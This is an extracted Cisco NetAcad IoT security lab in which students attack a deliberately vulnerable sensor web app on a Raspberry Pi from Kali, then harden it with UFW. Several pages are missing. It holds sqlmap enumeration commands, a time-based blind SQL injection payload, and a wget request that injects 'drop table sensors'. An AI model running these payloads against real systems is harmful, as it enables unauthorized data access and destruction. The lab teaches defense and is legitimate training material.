5.1.2.9 Lab - Web Application Vulnerability
5.1.2.9 Lab - Web Application Vulnerability
Topology
Required Resources
Raspberry Pi 3 Model B or later (with PL-App)
8GB Micro SD card (minimum required)
PC with IoTSec Kali VM
Network connectivity between PC and Raspberry Pi
Objectives
In this lab, you will discover vulnerabilities in a simple Python web application using tools available in the
IoTSec Kali VM. You will exploit the vulnerabilities much as a hacker would. Finally, you will learn how to
address the vulnerabilities.
Part 1: Set up a Simple IoT Monitoring Application
Part 2: Conduct a Reconnaissance Attack
Part 3: Exploit a Vulnerable Web Application
Part 4: Add Application Protection
Background/Scenario
Many IoT systems include web applications that are used to monitor and control IoT devices. These
applications are also used to view data submitted by IoT devices, often through an analytical dashboard.
Many of these applications are accessed across the open Internet. Users authenticate to the application in
order to make of use of it. Commercial home IoT devices use web applications to provide users with an easy
way to monitor sensors in their homes and to control actuators such as thermostats, electrical outlets, and
alarms.
Web application vulnerabilities involve system flaws or weakness in a web application. These vulnerabilities
can be due to form inputs that have not been validated or sanitized, misconfigured web servers, and
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 1 of 13 www.netacad.com
Lab - Web Application Vulnerability
application design flaws. Attackers can exploit these weaknesses to compromise the security of the
application. The attacks can use tools such as Nmap and skipfish, to scan for weaknesses. Nmap is a
network exploration tool that can provide information on open ports and operating systems. skipfish is a web
application security scanner. A skipfish scan provides an interactive sitemap by using recursive crawl and
dictionary-based probes.
In this lab, you will exploit a misconfiguration in a simple Python application by using the sqlmap SQL injection
tool that is available in the IoTSec Kali VM. You will discover web application weakness and address them by
implementing a Python script that will sanitize application form input.
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 2 of 13 www.netacad.com
Lab - Web Application Vulnerability
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 3 of 13 www.netacad.com
Lab - Web Application Vulnerability
b. To verify that the new data is in the SQL table, navigate to the IP address for your Raspberry Pi at port
8080. Note the number under the No. column. This is the ID used for each post of sensor data. You may
need to refresh your browser window to see newly posted data.
c. Similarly, you can use the update API call to alter the temperature value of the sensor by referring to the
ID number in the data table:
http://203.0.113.12:8080/update/<ID>?temperature=30
where <ID> is replaced with the ID number from the dashboard. In this example, <ID> is 1. Refresh your
browser to see the updated results.
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 4 of 13 www.netacad.com
Lab - Web Application Vulnerability
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 5 of 13 www.netacad.com
Lab - Web Application Vulnerability
Do research on the web to answer the following questions. What vulnerability was recently discovered in
this web server software? Which company was compromised by an exploit of this vulnerability?
Code injection enabled the Python debug console to be accessed, allowing users to illicitly extract data.
This security breach occurred at the company Patreon.
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 6 of 13 www.netacad.com
Lab - Web Application Vulnerability
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 7 of 13 www.netacad.com
Lab - Web Application Vulnerability
c. To discover the type and name of the database used by the web application, run the following command
and answer the prompts as shown below. This could take a few minutes. You can also observe the
messages on the SSH session.
root@kali:~# sqlmap -u http://203.0.113.12:8080/add/test?temperature=26 --dbs
--threads=10 --current-db
< output omitted >
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads
specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n] n
< output omitted >
GET parameter 'temperature' is vulnerable. Do you want to keep testing the
others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 93 HTTP(s)
requests:
---
Parameter: temperature (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: temperature=26' AND SLEEP(5) AND 'Dmqa'='Dmqa
---
[13:45:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:45:36] [INFO] fetching current database
< some output omitted >
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n] y
[13:45:58] [INFO] adjusting time delay to 1 second due to good response times
vulnSensors
current database: 'vulnSensors'
[13:46:39] [INFO] fetching database names
[13:46:39] [INFO] fetching number of databases
[13:46:39] [WARNING] (case) time-based comparison requires larger statistical
model, please wait.............................. (done)
2
[13:46:42] [WARNING] (case) time-based comparison requires larger statistical
model, please wait.............................. (done)
information_schema
[13:47:46] [INFO] retrieved: vulnSensors
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 8 of 13 www.netacad.com
Lab - Web Application Vulnerability
d. The database type has been discovered as MySQL and the name as vulnSensors. We can also search
for the existing tables in that database. Respond to the prompt as shown below.
root@kali:~# sqlmap -u http://203.0.113.12:8080/add/test?temperature=26 --
dbms=mysql -D vulnSensors --tables
< output omitted >
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: temperature (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: temperature=26' AND SLEEP(5) AND 'Dmqa'='Dmqa
---
[13:51:58] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n] y
< output omitted >
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[13:53:54] [INFO] fetching tables for database: 'vulnSensors'
[13:53:54] [INFO] fetching number of tables for database 'vulnSensors'
< output omitted >
[1 table]
+---------+
| sensors |
+---------+
< output omitted >
While sqlmap is running, you can view the queries it sends in the PL-App terminal. After a browser refresh,
you can also see that multiple sensor entries have been added.
So far, sqlmap has allowed us to discover that the database system is MySQL, the database name is
vulnSensors, and the table used for storing data is sensors.
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 9 of 13 www.netacad.com
Lab - Web Application Vulnerability
Note: There is a space between the second hyphen (-) and the end quote (") at the end of the command.
root@kali:~# wget "http://203.0.113.12:8080/add/1?temperature=1%27);drop
%20table%20sensors;-- "
This will delete the “sensors” table and make the web application unusable. Refresh the web browser to
verify that the sensors table is no longer available. At this point, the web application has become unusable.
No sensors will be able to post data to the application and users will not be able to monitor the IoT system. A
hacker has successfully exploited a vulnerability in the web application using an SQL injection attack.
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 10 of 13 www.netacad.com
Lab - Web Application Vulnerability
To Action From
-- ------ ----
22/tcp ALLOW Anywhere
8080/tcp LIMIT Anywhere
80/tcp ALLOW Anywhere
22/tcp (v6) ALLOW Anywhere (v6)
8080/tcp (v6) LIMIT Anywhere (v6)
80/tcp (v6) ALLOW Anywhere (v6)
e. To view the log messages in real time when you perform the SQL injection, use the command tail -f
filename in a new SSH session into Raspberry Pi from Kali VM. Press Ctrl-C to stop the display when
finished.
pi@myPi:~ $ tail -f /var/log/kern.log
f. Issue the following command to perform an SQL injection again from the Kali VM terminal. You may need
to run it more than once to see the UFW log messages in the SSH session running tail.
root@kali:~# sqlmap -u http://203.0.113.12:8080/add/test?temperature=26 --
dbms=mysql -D vulnSensors --tables
g. After the SQL injection, you will see log messages issued by ufw.
<output omitted>
May 25 11:22:51 locahost kernel: [16954.665180] [UFW LIMIT BLOCK] IN=eth0 OUT=
MAC=b8:27:eb:cc:1c:9f:00:0c:29:9c:a3:c5:08:00:45:00:00:3c:d7:a6:40:00:40:06:da:ee
SRC=203.0.113.1 DST=203.0.113.12 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=55206 DF
PROTO=TCP SPT=56186 DPT=8080 WINDOW=29200 RES=0x00 SYN URGP=0
h. Exit sqlmap with Ctrl-Z if necessary. Run the skipfish command again with a different output folder name.
You should see UFW log messages in the PL-App terminal that show that skipfish was blocked.
root@kali:~# skipfish -O -L -Y -S /usr/share/skipfish/dictionaries/minimal.wl
-o vulnerable_app_results1 http://203.0.113.12:8080
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 11 of 13 www.netacad.com
Lab - Web Application Vulnerability
i. It will take some time for skipfish to run. After the skipfish scan is complete, in a web browser on the Kali
VM, navigate to file:///root/<folder name>/index.html. In this example, it is
file:///root/vulnerable_app_results1/index.html. Compare these results with the report from the
previous skipfish session.
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 12 of 13 www.netacad.com
Lab - Web Application Vulnerability
g. Refresh the web browser associated with your web application. What happened to the sensors table after
the drop table attack?
The table is still displaying.
Part 5: Clean Up
In this part of the lab you will return the Raspberry Pi to its default configuration.
Step 1: Remove the UFW rules that were created in this lab.
You can delete the rules by issuing the ufw reset command. This will deactivate ufw and remove all rules.
(pl-app) root@myPi:/home/pi/notebooks# ufw reset
Resetting all rules to installed defaults. Proceed with operation (y|n)? y
Backing up 'before6.rules' to '/etc/ufw/before6.rules.20181220_152657'
Backing up 'user.rules' to '/etc/ufw/user.rules.20181220_152657'
Backing up 'before.rules' to '/etc/ufw/before.rules.20181220_152657'
Backing up 'after.rules' to '/etc/ufw/after.rules.20181220_152657'
Backing up 'user6.rules' to '/etc/ufw/user6.rules.20181220_152657'
Backing up 'after6.rules' to '/etc/ufw/after6.rules.20181220_152657'
2018 - 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public Page 13 of 13 www.netacad.com